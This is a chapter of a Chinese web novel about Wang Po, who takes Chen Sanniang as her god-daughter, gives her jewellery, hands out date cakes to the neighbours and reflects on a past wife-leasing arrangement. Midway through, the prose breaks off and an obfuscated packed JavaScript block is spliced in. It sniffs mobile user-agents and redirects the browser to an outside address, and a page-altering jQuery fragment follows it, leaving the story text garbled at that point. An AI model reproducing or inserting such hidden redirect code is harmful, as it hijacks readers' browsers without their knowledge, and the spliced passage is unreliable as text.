5. 认亲喜事
作品:《且慢!这不是结局》 两人商量好后,祝神婆翻出了个包袱给王婆,包袱里头就是方才提到的料子,王婆揣着包袱进了街上裁缝铺后院,这个时辰裁缝铺里没什么客人,正拨算盘的裁缝铺老板见王婆从后院来,算盘一收,笑着迎了上去。
两人目光相碰,来意心照不宣,裁缝铺老板赶紧挽着王婆往里间去。
“这可是上好的水光锦。”裁缝铺老板爱不释手地摸着料子,接着用手指摆了个数“就这个数,如何?”
王婆喝着茶没应声。
“这料子好是好,可我还得重新染过色儿……你知道的近来风头紧。”
王婆依旧没应,只是笑看着裁缝铺老板。
“行行行,给加到这个数,看成不?”裁缝铺老板又摆了个数“往后再有好货可都得先想着我。”
王婆亲切一笑,道“自然,咱都多少年的老街坊了。”
王婆留了料子收了钱又从后院离开,回茶坊路上又去了趟银铺,她从怀里掏出几样旧银首饰,打算叫姚晁熔了重新打几样新首饰,预备送给陈三娘。
王婆虽是头一遭做凡人,但人间话本没少看,这人间认干亲,长辈都会摘了手上翡翠镯子送给晚辈,她手边没有什么翡翠镯,但打几样银首饰的本钱还是有的。
“王婆要打什么样式?”
“眼下年轻娘子时兴什么,就打什么样式。”
“这是要送人?”
“嗯,三娘认了我作干娘,我这当干娘的也不能亏了她。”
听说是给陈三娘的打首饰,正给银首饰称重姚晁手上一顿,回应道“那便打一只缠枝纹银簪,配一对银丁香,如何?”
王婆不太懂这些具体的,但她信手艺人的“好好好。”
“既是喜事我再给添些料子,打得更实些,算是贺喜。”姚晁说着抬起头目光对上王婆,面具后是一双黝黑清亮的眼“回头给街坊四邻派喜糕,王婆可莫忘了我。”
听姚晁说要添料,王婆觉得这人虽瞧着不喜与人往来,但还怪懂人情世故的,又想到他提起的派喜糕……是的,确实有必要,顺便将这认干亲的消息传开,往后若有人敢打陈三娘的歪主意,多少也得顾忌着她几分。
离开银铺后,王婆回了茶坊,茶坊已坐了些客人。
“三娘,你做些枣糕,多用些糖稀,切齐整些,我回头给街坊送去,好叫大伙都知道你认了我作干娘。”王婆走到灶房与陈三娘说道。
陈三娘没想到王婆会这般大张旗鼓,又想到做枣糕和用糖稀都要花不少钱,不禁心疼起来,她照看茶坊生意这些日子也知这营生赚得不多。
“干娘,这未免铺张了些……”
王婆心说这算什么,有钱人家认干亲还大摆宴席,一盒盒的往外送蜜饯糕果,再说了她刚从裁缝铺挣了一笔。
“听我的,做好了也给今日来吃茶的客人上些。”王婆打算效仿着话本里的做法,又调侃道“这不让大伙知道,回头你要不孝敬我,谁来给我主持公道。”
陈三娘面上一笑“唉,我听干娘的。”
陈三娘在灶房里忙活起来,茶坊里王婆也忙活着,一面张罗着来吃茶的客人,一面宣说着她认了陈三娘做干女儿的事,来吃茶的多是熟客,听后纷纷道喜。
“三娘可是个伶俐娘子,王婆你这福气在后头呀。”
“得了女儿又有了孙女,往后还有虎妞这丫头给你供香火,美事美事唉。”
“王婆家有喜事,何不也让我们沾沾喜气?”一个闲汉带头起哄。
“是啊是啊,只吃茶嘴里也怪没味的。”
有人带头,因是喜事,茶坊里其他吃茶的客人也跟着起哄。
就在这时,陈三娘端了一托盘刚出锅的枣糕来,身后虎妞小小的人儿也端了两碟。
王婆赶忙吆喝“来来来,今日我请诸位吃枣糕!”
各人桌上都放上了一碟枣糕,被切得方正规矩的枣糕冒着热气,甜香的气味扑鼻而来,众人迫不及待的品尝起来——果然,口感糯香,甜而不腻。
茶坊里热热闹闹,王婆又用干荷叶包了些枣糕出门去,给周围的街坊四邻送去,街坊们闻此喜事纷纷道喜,还有的回了东西来,什么老母鸡刚下的鸡蛋、自家种的菘菜……
王婆走了好几趟才将附近街坊送完,待忙完回来,也到了该吃饭的时辰,茶坊里客人都已散得差不多,只留了两桌路过的生客。
今日陈三娘忙着蒸枣糕,吃食从简只做了冷淘面,但过了凉水的面劲道爽口,配上糟萝卜、酱瓜茄,正是开胃又解暑。
生客见三人吃得有滋有味,也开口要了两碗,吃后赞不绝口。
“这不比我在那州府吃的老字号槐叶冷淘差,小娘子好手艺呀!”
“这苦夏就是要来上这样一碗冷淘。”
听着客人的夸赞,陈三娘也高兴,她在夫家时就张罗着一家十几口人的吃食,夫家的公婆叔伯虽都是乡野出身,但一个个挑嘴得很,这样的夸赞她是不曾听过的,多是对她的挑剔不满。
“你瞧瞧,我怎么说的,你这手艺就不该埋没了。”
“我听干娘的。”
王婆觉着这陈三娘哪哪都好,就是有些太本分了,哪怕做了十分差事也只敢认个五分功,若遇上坏心眼的吃准了她这性子,怕是要被拆骨扒皮分食干净。
晚些时候,王婆又带着新出锅的枣糕给银铺送去,姚晁已将首饰打好。
王婆接过打好的银簪与银丁香看了又看,只觉得这手艺是真不赖,姚晁在旁拿着枣糕细细嚼着,举手投足不像是个手艺人,倒像是那饱读诗书的文士。
“这店里怎还堆了木料?”
“有客人托我顺手打几张桌椅。”
“你还会木匠活儿?”
“会些简单些。”
“那可正好,得空给我打张新榻子,再配些桌椅柜子。”
茶坊后院,除了陈三娘母女正住着的那间小屋,还有一间稍大的,前些年租了出去,后空置着又年久失修如今根本住不得人,王婆打算修缮一番让陈三娘母女搬进去,或是再典租出去。
这么一想,要忙活的事还真不少,也不比在地府时轻松。
王婆从银铺取了首饰,回去便给了陈三娘。
“你认我做干娘,我自然不能亏了你。”
“干娘……”陈三娘眼里噙着泪,其实认王婆作干娘这事她也是存了些私心的。
“这怎又要哭了,莫哭了,我见不得这哭哭啼啼的。”
陈三娘抹着眼泪“是不该哭的,都是好事。”
“快戴上瞧瞧,我瞧那集市上许多小娘子都戴这些,但我觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694853|173405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得姚老板打得更好看。”
陈三娘戴上了首饰,她已许久没好生打扮了,更甭提穿戴首饰,也都快忘了照着镜子梳妆打扮是什么样的感觉……眼下那份感觉仿佛又回来了。
“娘好看,像仙女一样。”
“干娘,我想了想,过几日咱茶坊开始给客人供面吧,多挣些。”
“是得多挣些,明年虎妞还得上学堂,不能就叫她整日这样待在茶坊里。”
“……学堂吗?”陈三娘从没想过这事。
“识几个字与上学堂可不一样,甭管她以后做什么,多读书准没错。”
“可这学堂收吗,虎妞她一个女娃……”
“有教无类,这点道理都不懂那也甭让他教了。”
“娘,什么是有教无类啊?”
陈三娘摇摇头,她虽也识字不少但这些话是没听说过的“干娘,这什么意思啊?”
“意思就是……教授学识不分是对什么人,男娃女娃都一样。”
“干娘上过学堂吗?”
“在学堂外偷听过,哈哈。”
第二日,为着修葺后院之事,王婆靠着原身的记忆上门去寻临街的泥瓦匠陶三,陶三今年三十出头却有着十几年的泥瓦手艺,靠谱得很。
话说两年前原身王婆还给陶三牵线典了位贫户妻,生了一个女儿……
是的,典妻触犯律法,这事王婆这个在地府混的都知道,原身与陶三自然也清楚,可偏世道又给了夫君做主妻子身家自由的权利,这又何尝不是一种默许与纵容?
陶三自幼家境不好,早早就跟着师傅学手艺,虽有着口碑不俗的手艺,但因家中双亲病重多年汤药一直未断,这余下的钱也就只够糊口。
陶三这人既孝顺又脾气拗得很,自知家贫又有病重双亲要奉养,不愿娶妻拖累对方,一来二去年近三十也未成亲,后来还是家里二老闹着要他留个后,他才点头找上王婆。
原身王婆知他情况,正好手上有位贫户妻胡氏,便撮合了二人。
陶三起初也犹豫,但还是被原身王婆一张巧嘴说服,毕竟典妻与娶妻不同,待生下孩子女子就会返回原家,也没了后续的他本顾虑的事,但风险自然也是有的,可只要无人告官府也就无事……而今胡氏归家已有数月。
今日王婆登门,一来便说明了来意,陶三一口应下但又突然支吾起来。
“王婆……”
“有话直说,大男人支支吾吾个什么。”
“我想托您去瞧瞧贞娘,我想知道她回去后过得如何。”陶三说着望着院里被二老抱着晒太阳的孩子,禁不住红了眼眶。
王婆一瞧就知怎么回事,她在地府时没少见这等痴男怨女,这是处出感情来了。
可这典妻的本质就是个买卖,两人不过是一段露水情缘,哪怕是下了地府也作不成一对儿……虽是这样想着,可王婆还是应了陶三的请求。
回去的路上,王婆心事重重,路过武大郎那门前时这份浓愁愈是强烈。
不管是被婆家赶出门颠沛流离的陈三娘,还是被夫君典给别的男人生孩子的胡贞娘,亦或是来日将被主人家强行配给武大郎的潘金莲……皆是世间女子命途的缩影。
众生平等不过一句虚话,给予凡间男女的一切从不对等,甚至偏颇得厉害。